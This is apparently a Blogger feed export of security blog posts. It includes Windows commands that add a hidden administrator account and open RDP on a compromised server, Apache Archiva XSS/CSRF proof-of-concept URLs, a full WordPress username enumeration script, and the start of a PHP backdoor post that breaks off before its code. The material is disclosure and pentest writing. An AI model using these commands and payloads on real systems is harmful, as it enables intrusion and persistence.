aircrack-ng-1.1.tar.gz&lt;br /&gt;cd aircrack-ng-1.1&lt;div style="font-style: normal; "&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-style: normal; "&gt;In the aircrack-ng-1.1 directory there is a file called common.mak, use your favorite editor to open the file and scroll down till you see the following line:&lt;/div&gt;&lt;div style="font-style: normal; "&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-style: normal; "&gt;CFLAGS          ?= -g -W -Wall -Werror -O3&lt;/div&gt;&lt;div style="font-style: normal; "&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Delete the &lt;i&gt;-Werror&lt;/i&gt; variable, so that the line now looks like the following. Save and exit.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;CFLAGS ?= -g -W -Wall -O3&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Run make and make install to get aircrack-ng up and running.&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/MY3PqklgqKg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2078827739197277861/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2010/12/installing-aircrack-ng-on-ubuntu-1204.html#comment-form" title="104 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2078827739197277861?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2078827739197277861?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/MY3PqklgqKg/installing-aircrack-ng-on-ubuntu-1204.html" title="Installing Aircrack-ng on Ubuntu 12.04" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>104</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2010/12/installing-aircrack-ng-on-ubuntu-1204.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUAQ34_eip7ImA9WhdbF0Q.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-4614382535795003047</id><published>2011-10-16T11:30:00.001-07:00</published><updated>2011-10-16T11:37:22.042-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-16T11:37:22.042-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="hacker conference" /><category scheme="http://www.blogger.com/atom/ns#" term="c0c0n" /><category scheme="http://www.blogger.com/atom/ns#" term="security conference" /><category scheme="http://www.blogger.com/atom/ns#" term="CTF" /><category scheme="http://www.blogger.com/atom/ns#" term="cocon" /><category scheme="http://www.blogger.com/atom/ns#" term="2011" /><category scheme="http://www.blogger.com/atom/ns#" term="walkthrough" /><title>C0C0N 2011 - CTF Walkthrough</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I won the recently concluded C0C0N Capture the Flag event at the conference. Here's the walkthrough for all the levels on slideshare.&lt;/span&gt;&lt;br /&gt;&lt;div style="width:477px" id="__ss_9722200"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/riyazwalikar/c0c0n-2011-ctf-walkthrough" title="C0c0n 2011 CTF Walkthrough" target="_blank"&gt;C0c0n 2011 CTF Walkthrough&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9722200" marginwidth="0" marginheight="0" frameborder="0" height="510" scrolling="no" width="477"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/riyazwalikar" target="_blank"&gt;riyazwalikar&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/9YcII8yTzsg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/4614382535795003047/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/10/c0c0n-2011-ctf-walkthrough.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4614382535795003047?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4614382535795003047?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/9YcII8yTzsg/c0c0n-2011-ctf-walkthrough.html" title="C0C0N 2011 - CTF Walkthrough" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/10/c0c0n-2011-ctf-walkthrough.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QFQnczeCp7ImA9WhdQFk4.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2459026693768694354</id><published>2011-08-17T18:16:00.000-07:00</published><updated>2011-08-17T20:48:33.980-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-17T20:48:33.980-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="rdp" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI" /><category scheme="http://www.blogger.com/atom/ns#" term="os" /><category scheme="http://www.blogger.com/atom/ns#" term="remote" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="command execution" /><title>Enable RDP via Command line</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;Been extremely busy with loads of work. Anyways, here's something interesting that I needed to do recently at a customer network to gain access to a server.&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I managed to obtain a web application shell to the server and was able to execute commands as Administrator. The Application was running of XAMPP under an administrative accounts, so I was lucky there. But what I needed was GUI access to the desktop because I wanted to compromise another server which was reachable using a custom programmed application running on the server that I had just gained access to. Here's what I did:&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;
&lt;br /&gt;1. Created a user and added it to the local administrators group using these commands:
&lt;br /&gt;&lt;pre&gt;net user newadmin newpa$$w0rd /add
&lt;br /&gt;net localgroup administrators newadmin /add
&lt;br /&gt;net user newadmin
&lt;br /&gt;&lt;/pre&gt;
&lt;br /&gt;2. Used the following commands to enable Remote Desktop and logged in with my credentials:
&lt;br /&gt;&lt;pre&gt;reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
&lt;br /&gt;/v fDenyTSConnections /t REG_DWORD /d 0 /f
&lt;br /&gt;
&lt;br /&gt;netsh firewall set portopening TCP 3389&lt;/pre&gt;
&lt;br /&gt;3. Bit off a large chunk of some awesome tasting chicken sandwich, sipped some coffee and then proceeded with the rest of the Penetration Test.
&lt;br /&gt;
&lt;br /&gt;Lot of Penetration Testers, reach this wall at some point during their assessments. Hope this helps some tired soul like me.
&lt;br /&gt;
&lt;br /&gt;Happy Hacking!
&lt;br /&gt;
&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/f7GE6RX6BWo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2459026693768694354/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/08/enable-rdp-via-command-line.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2459026693768694354?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2459026693768694354?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/f7GE6RX6BWo/enable-rdp-via-command-line.html" title="Enable RDP via Command line" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/08/enable-rdp-via-command-line.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YEQ3g4eSp7ImA9WhZVF0g.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2428163433958977288</id><published>2011-05-30T04:10:00.000-07:00</published><updated>2011-05-30T04:31:42.631-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-30T04:31:42.631-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="web application" /><category scheme="http://www.blogger.com/atom/ns#" term="full disclosure" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="bid" /><category scheme="http://www.blogger.com/atom/ns#" term="cve" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="apache archiva" /><title>Apache Archiva Multiple XSS &amp; CSRF Vulnerabilities</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here's a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache's Archiva 1.3.4 which was the latest published edition on the vendor's website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here's the condensed disclosure document with the exploit code intact.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;Title: Multiple XSS &amp;amp; CSRF Vulnerabilities in Apache Archiva 1.3.4&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Project: Apache Archiva&lt;br /&gt;Severity: High&lt;br /&gt;Versions: 1.3.0 - 1.3.4. The unsupported versions Archiva 1.0 - 1.2.2 are also affected.&lt;br /&gt;Exploit type: Multiple XSS &amp;amp; CSRF&lt;br /&gt;Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5&lt;br /&gt;Vendor URL: http://archiva.apache.org/security.html&lt;br /&gt;CVE: CVE-ID-2011-1077, CVE-2011-1026&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Timeline:&lt;br /&gt;28 February 2011: Vendor Contacted&lt;br /&gt;1 March 2011:  Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.&lt;br /&gt;7 March 2011:  CVE-2011-1077 Assigned for XSS Issues.&lt;br /&gt;14 March 2011: Fixes released to selected channels / Found to be insufficient&lt;br /&gt;27 May 2011: Vendor releases v1.3.5&lt;br /&gt;27 May 2011: Vendor releases security disclosure to Bugtraq and FD.&lt;br /&gt;30 May 2011: Exploit details released on Bugtraq &amp;amp; FD&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Product Description:&lt;br /&gt;Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.&lt;br /&gt;&lt;br /&gt;Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality... and many more!&lt;br /&gt;(Source: http://archiva.apache.org/)&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Vulnerability Details:&lt;br /&gt;XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.&lt;br /&gt;Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of&lt;br /&gt;cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.&lt;br /&gt;&lt;br /&gt;CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.&lt;br /&gt;An attacker can build a simple html page containing a hidden Image tag (eg: &amp;lt;img src=vulnurl width=0 height=0 /&amp;gt;) and entice the administrator to access the page.&lt;br /&gt;----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Proof of Concept:&lt;br /&gt;Reflected XSS:&lt;br /&gt;http://127.0.0.1:8080/archiva/security/useredit.action?username=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22&amp;gt;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;artifactId=1&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;version=1&amp;amp;repositoryId=internal&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?legacyArtifactPath.path=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;groupId=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;artifactId=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;version=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;classifier=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;amp;type=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?proxyid=test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Persistant (Stored) XSS:&lt;br /&gt;Exploit code: test&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/addRepository.action (Identifier:repository.id, Name:repository.name, Directory:repository.location, Index Directory:repository.indexDir)&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoid=&lt;br /&gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/editAppearance.action (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/configureAppearance.action&lt;br /&gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:name=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type)&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action&lt;br /&gt;&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action (Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host, Port:proxy.port, Username:proxy.username)&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/networkProxies.action&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CSRF:&lt;br /&gt;http://127.0.0.1:8080/archiva/security/usercreate!submit.action?user.username=tester123&amp;amp;user.fullName=test&amp;amp;user.email=test%40test.com&amp;amp;user.password=abc&amp;amp;user.confirmPassword=abc&lt;br /&gt;http://127.0.0.1:8080/archiva/security/userdelete!submit.action?username=test&lt;br /&gt;http://127.0.0.1:8080/archiva/security/addRolesToUser.action?principal=test&amp;amp;addRolesButton=true&amp;amp;__checkbox_addNDSelectedRoles=Guest&amp;amp;__checkbox_addNDSelectedRoles=Registered+User&amp;amp;addNDSelectedRoles=System+Administrator&amp;amp;__checkbox_addNDSelectedRoles=System+Administrator&amp;amp;__checkbox_addNDSelectedRoles=User+Administrator&amp;amp;__checkbox_addNDSelectedRoles=Global+Repository+Manager&amp;amp;__checkbox_addNDSelectedRoles=Global+Repository+Observer&amp;amp;submitRolesButton=Submit&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteRepository.action?repoid=test&amp;amp;method%3AdeleteContents=Delete+Configuration+and+Contents&lt;br /&gt;http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&amp;amp;artifactId=1&amp;amp;version=1&amp;amp;repositoryId=snapshots&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/addRepositoryGroup.action?repositoryGroup.id=csrfgrp&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteRepositoryGroup.action?repoGroupId=test&amp;amp;method%3Adelete=Confirm&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/disableProxyConnector!disable.action?target=maven2-repository.dev.java.net&amp;amp;source=internal&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteProxyConnector!delete.action?target=maven2-repository.dev.java.net&amp;amp;source=snapshots&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteLegacyArtifactPath.action?path=jaxen/jars/jaxen-1.0-FCS-full.jar&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/saveNetworkProxy.action?mode=add&amp;amp;proxy.id=ntwrk&amp;amp;proxy.protocol=http&amp;amp;proxy.host=test&amp;amp;proxy.port=8080&amp;amp;proxy.username=&amp;amp;proxy.password=&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!delete.action?proxyid=myproxy&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/repositoryScanning!addFiletypePattern.action?pattern=**/*.rum&amp;amp;fileTypeId=artifacts&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/repositoryScanning!removeFiletypePattern.action?pattern=**/*.rum&amp;amp;fileTypeId=artifacts&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/repositoryScanning!updateKnownConsumers.action?enabledKnownContentConsumers=auto-remove&amp;amp;enabledKnownContentConsumers=auto-rename&amp;amp;enabledKnownContentConsumers=create-missing-checksums&amp;amp;enabledKnownContentConsumers=index-content&amp;amp;enabledKnownContentConsumers=metadata-updater&amp;amp;enabledKnownContentConsumers=repository-purge&amp;amp;enabledKnownContentConsumers=update-db-artifact&amp;amp;enabledKnownContentConsumers=validate-checksums&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/database!updateUnprocessedConsumers.action?enabledUnprocessedConsumers=update-db-project&lt;br /&gt;http://127.0.0.1:8080/archiva/admin/database!updateCleanupConsumers.action?enabledCleanupConsumers=not-present-remove-db-artifact&amp;amp;enabledCleanupConsumers=not-present-remove-db-project&amp;amp;enabledCleanupConsumers=not-present-remove-indexed&lt;br /&gt;---------------------------------------------------------------------&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;Please update to Archiva 1.3.5, available for download via the vendor's website.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/J60qf5_M8VY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2428163433958977288/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/05/apache-archiva-multiple-xss-csrf.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2428163433958977288?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2428163433958977288?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/J60qf5_M8VY/apache-archiva-multiple-xss-csrf.html" title="Apache Archiva Multiple XSS &amp; CSRF Vulnerabilities" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/05/apache-archiva-multiple-xss-csrf.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4CQno-fip7ImA9WhZVF0g.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-7958721311476391422</id><published>2011-05-29T07:23:00.000-07:00</published><updated>2011-05-30T04:29:23.456-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-30T04:29:23.456-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="full disclosure" /><category scheme="http://www.blogger.com/atom/ns#" term="poc" /><category scheme="http://www.blogger.com/atom/ns#" term="xmlhttp" /><category scheme="http://www.blogger.com/atom/ns#" term="ajax" /><category scheme="http://www.blogger.com/atom/ns#" term="username enumeration" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="vbscript" /><title>WordPress UserId &amp; Username Enumeration Exploit/PoC Script</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;On 26th May 2011, a relatively easy to detect and exploit vulnerability was found with WordPress. The issue being with WordPress disclosing usernames based on a simple URL parameter and the consequent page redirect/HTTP status. Although WordPress has implemented usernames in the title bar as a feature,  this can be abused easily by recursively supplying a  author=number to the main page to enumerate usernames. The full disclosure posting can be found at http://seclists.org/fulldisclosure/2011/May/493&lt;br /&gt;&lt;br /&gt;Even though there are a lot of scripts/exploits/PoC already popping up all over the Internet to abuse this, this post will show how easy it is to automate the enumeration using Ajax/XMLHTTP via VBScript.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;'Author: karniv0re@null.co.in&lt;br /&gt;'User enumeration script for WordPress v2.6, 3.1, 3.1.1, 3.1.3&lt;br /&gt;'This script allows an attacker to enumerate wordpress users by &lt;br /&gt;'querying the value of the parameter 'author' using xmlHTTP.&lt;br /&gt;&lt;br /&gt;Dim url, sQuery, args, i, max&lt;br /&gt;&lt;br /&gt;if wscript.arguments.count &amp;lt; 1 then&lt;br /&gt;wscript.echo "WPEnum - WordPress User Enumeration Script"&lt;br /&gt;wscript.echo "Author: karniv0re@null.co.in"&lt;br /&gt;wscript.echo "Insufficient Parameters."&lt;br /&gt;wscript.echo&lt;br /&gt;wscript.echo "cscript WPEnum.vbs &amp;lt;url&amp;gt; [&amp;lt;max_users&amp;gt;]"&lt;br /&gt;wscript.echo "&amp;lt;url&amp;gt;: A WordPress based website in the form of http://site/"&lt;br /&gt;wscript.echo "&amp;lt;max_users&amp;gt;:[Optional] Maximum number of users. Default 20."&lt;br /&gt;wscript.echo "Example: cscript WPEnum.vbs http://www.mywordpress.com/ 10"&lt;br /&gt;wscript.echo&lt;br /&gt;wscript.quit&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;set args = wscript.Arguments&lt;br /&gt;&lt;br /&gt;wscript.echo "WPEnum - WordPress User Enumeration Script"&lt;br /&gt;wscript.echo "Author: karniv0re@null.co.in"&lt;br /&gt;wscript.echo&lt;br /&gt;wscript.echo "Enumerating ..."&lt;br /&gt;wscript.echo&lt;br /&gt;&lt;br /&gt;i=0&lt;br /&gt;max=20&lt;br /&gt;url = args(0)&lt;br /&gt;if right(url,1)&amp;lt;&amp;gt; "/" then&lt;br /&gt;url = url &amp;amp; "/"&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;if wscript.arguments.count = 2 AND IsNumeric(args(1)) then&lt;br /&gt;max=args(1)&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;Set xmlHTTP = Nothing&lt;br /&gt;set xmlHTTP = CreateObject("Microsoft.XmlHttp")&lt;br /&gt;&lt;br /&gt;For i=1 to max&lt;br /&gt;sQuery = args(0) &amp;amp; "?author=" &amp;amp; i&lt;br /&gt;xmlHTTP.open "GET", sQuery, false&lt;br /&gt;xmlHTTP.send ""&lt;br /&gt;&lt;br /&gt;wscript.sleep 70&lt;br /&gt;&lt;br /&gt;do while not xmlHTTP.readyState=4&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;if xmlHTTP.status = 404 then&lt;br /&gt;  wscript.echo&lt;br /&gt;  i=i-1&lt;br /&gt;  wscript.echo i &amp;amp; " users enumerated."&lt;br /&gt;  wscript.echo "Done!"&lt;br /&gt;  Set xmlHTTP = Nothing&lt;br /&gt;  wscript. quit&lt;br /&gt;End if&lt;br /&gt;&lt;br /&gt;wscript.echo "Userid:" &amp;amp; i&lt;br /&gt;&lt;br /&gt;k = Instr(Lcase(xmlHTTP.responseText),"&amp;lt;title&amp;gt;")&lt;br /&gt;j = Instr(Lcase(xmlHTTP.responseText),"&amp;lt;/title&amp;gt;")&lt;br /&gt;username = Mid(xmlHTTP.responseText, k+7, j-k-7)&lt;br /&gt;wscript.echo username&lt;br /&gt;wscript.echo&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;wscript.echo i &amp;amp; " users enumerated."&lt;br /&gt;wscript.echo "Done!"&lt;br /&gt;&lt;br /&gt;Set xmlHTTP = Nothing&lt;br /&gt;&lt;br /&gt;'End of program&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/Gn_Olv3273s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/7958721311476391422/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2011/05/wordpress-userid-username-enumeration.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7958721311476391422?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7958721311476391422?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/Gn_Olv3273s/wordpress-userid-username-enumeration.html" title="WordPress UserId &amp; Username Enumeration Exploit/PoC Script" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2011/05/wordpress-userid-username-enumeration.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0UHQnk9fCp7ImA9WhZTFUo.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-7495228330711645405</id><published>2011-03-19T16:35:00.000-07:00</published><updated>2011-03-19T17:00:33.764-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-19T17:00:33.764-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="web application" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI" /><category scheme="http://www.blogger.com/atom/ns#" term="CTF" /><category scheme="http://www.blogger.com/atom/ns#" term="HITB" /><category scheme="http://www.blogger.com/atom/ns#" term="backdoor" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="shell" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Simple PHP Web Application Backdoor</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;The Hack In the Box CTF PreQuals 2011 had hackers from all over the world rack their brains against a Windows Binary and a Web Application. The challenge was to submit the MD5  sum of a flag either from the binary or from the application server. Somewhere between the night of March 19th and the early morning of March 20th, a group of hackers from India managed to crack the Web Application challenge.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The web application in question was vulnerable to a Local File Inclusion vulnerability. The web server also had its FTP port open and permitted anonymous login and file upload. It was then a matter of time when people who found this started uploading web application shells which would then be called from the application's home page. A simple Google search will give tons of shells that would allow attackers to do awesome amounts of stuff at the mere click of buttons. Prebuilt commands into the page allow attackers to search for files that are world readable, open reverse connect shells, bind ports to /bin/bash, upload and download files etc. But most of these shells are detected by antivirus software and are flagged malicious. Since I needed a simple execution interface, I decided to write a shell from scratch. Here's the code:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br 